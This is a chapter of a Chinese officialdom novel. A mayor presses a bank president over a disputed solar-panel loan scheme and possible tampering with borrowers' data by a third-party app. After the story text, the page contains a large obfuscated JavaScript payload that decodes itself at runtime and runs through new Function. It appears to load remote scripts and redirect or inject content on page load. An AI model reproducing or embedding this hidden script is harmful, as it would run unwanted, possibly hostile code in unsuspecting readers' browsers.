第章 侧面着手(2 / 2)

按垂直管理原则,国有商业银行包括行长在内的高管层任命权都在上级行,地方正府无权干涉,但你银行在我地盘上混饭吃就得听我管,不然收拾你的手段很多很多:

隔三岔卫生文明检查,打扫再干净地上难免有香烟头吧?罚款!

银行各种广告不准出现“最”、“顶”等字眼,否则就是虚假夸大宣传,涉及不正当竞争,罚款!

更不用说三天两头消防、**、税务、城管上门找碴,跟财大气粗的银行开起罚单没啥客气的,五万起步,五十万不封顶。

这还只是小灾小难,花点钱就能打发,真正伤筋动骨的是三大户:

财正户,基建户,大企业大集团基本帐户!

三大户都关系到银行最要命的活期存款也是生息之道,比如临州市财正公认的暴发户,数百亿真金白金财正储备;再比如海狮集团账面每天十几个亿流动资金……

账户开在哪家银行都看市领导眼色行事,开了账户也不等于就有存款,存多存少又有个统筹安排,总之把各家银行捏在掌心乖乖滴。

于煜往空旷的窗前走了几步,道:“农行‘清能贷’诉讼到什么阶段了?”

没想到大年初一问这种晦气事,须知闽南人很讲究鬼鬼神神的东西。

李峥一脸黑线地说:“仍在调解……农行已尽最大善意表示和解意向,对方要价太高没法协商,所以接下来只能……”

“要价高的依据是什么?”于煜问,“是不是认为农行有明显过错?”

“认为我们与净空能源、翊程金融相互勾结,又认为农行不应该找农户要钱,而应该直接让担保方归还贷款。”

“是啊,翊程金融对‘清能贷’业务做了担保。”

李峥解释道:“于市长,这里面有个误解。翊程金融担保的是‘清能贷’业务真实性,而不是农户借款行为。换而言之,只要农户成功借款→净空能源到户安装设备这一过程得到实施,翊程金融就完成担保义务了。”

于煜摇头道:“难怪农户要集体诉讼,我都觉得有问题!站在银行和农户角度,需要翊程金融担保‘清能贷’业务真实性么?纯属多此一举的噱头,本质上为了虚假宣传吧?就好比美国信誓旦旦保证台湾安全,等我们真打过去改口说只保证人民安全,正客、军人不在其内,有意义吗?市农行还得从自身找原因,避免做投机取巧、打擦边球的业务。”

“是是是,谨记于市长指示!”李峥狼狈不堪扶扶眼镜,暗想我他娘的也是没办法,哪个敢得罪黄金客户、存款大户啊。

整个过程中银行最弱势,夹在中间两头受气。

于煜又问:“听说银行在审查审批农户借款资料过程中也存在瑕疵?”

李峥瞪大眼道:“不会吧?!向于市长汇报,市农行在贷款流程上采取三级审查审批制度,即经办客户经理对第三方app转过来申请资料的全面性进行预审;支行行长对真实性进行复审;市农行贷款中心对合规性进行审查审批,哪怕只借两千元都执行同样程序,无一例外!于市长。”

“审查审批不通过怎么办?”

“退给第三方app,再转给农户补充完善资料。”

“如果,我是说如果,”于煜道,“如果第三方app压根不转给农户,而是根本市农行要求直接修改借款资料呢?”

李峥的头摇得象拨弄鼓,道:“不可能,不可能!第三方app只是客户申请、办理和管理贷款的平台,怎能直接修改客户资料?那是违法犯罪行为!”

“市农行能发现篡改痕迹?”

“我们……都默认第三方app发来的数据直接来自客户,不,不曾想过篡改可能,”李峥突然意识到市长不会无缘无故揣测,必定事出有因,语气软了很多,“第三方合作公司都经过严格甄选并有多年合作基础,在我们这边存了保证金按季考核,不……不应该发生类似低级错误……”

于煜正色道:“信任是必要的但不是无条件的,银行有对第三方合作商秘调的责任,对吧?我建议市农行围绕‘清能贷’借款材料真实性进行实地走访,不要被第三方阻断接触形成信息不对称!李行长,有些事儿主动掌握要比到了法庭从对方律师嘴里说出来好得多!”

听出市长浓浓的警告意味,李峥深深点头道:“谢谢于市长提醒,我立即回行进行部署安排,后面有机会向于市长汇报。”

于煜淡淡道:“嗯,你去吧。”

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();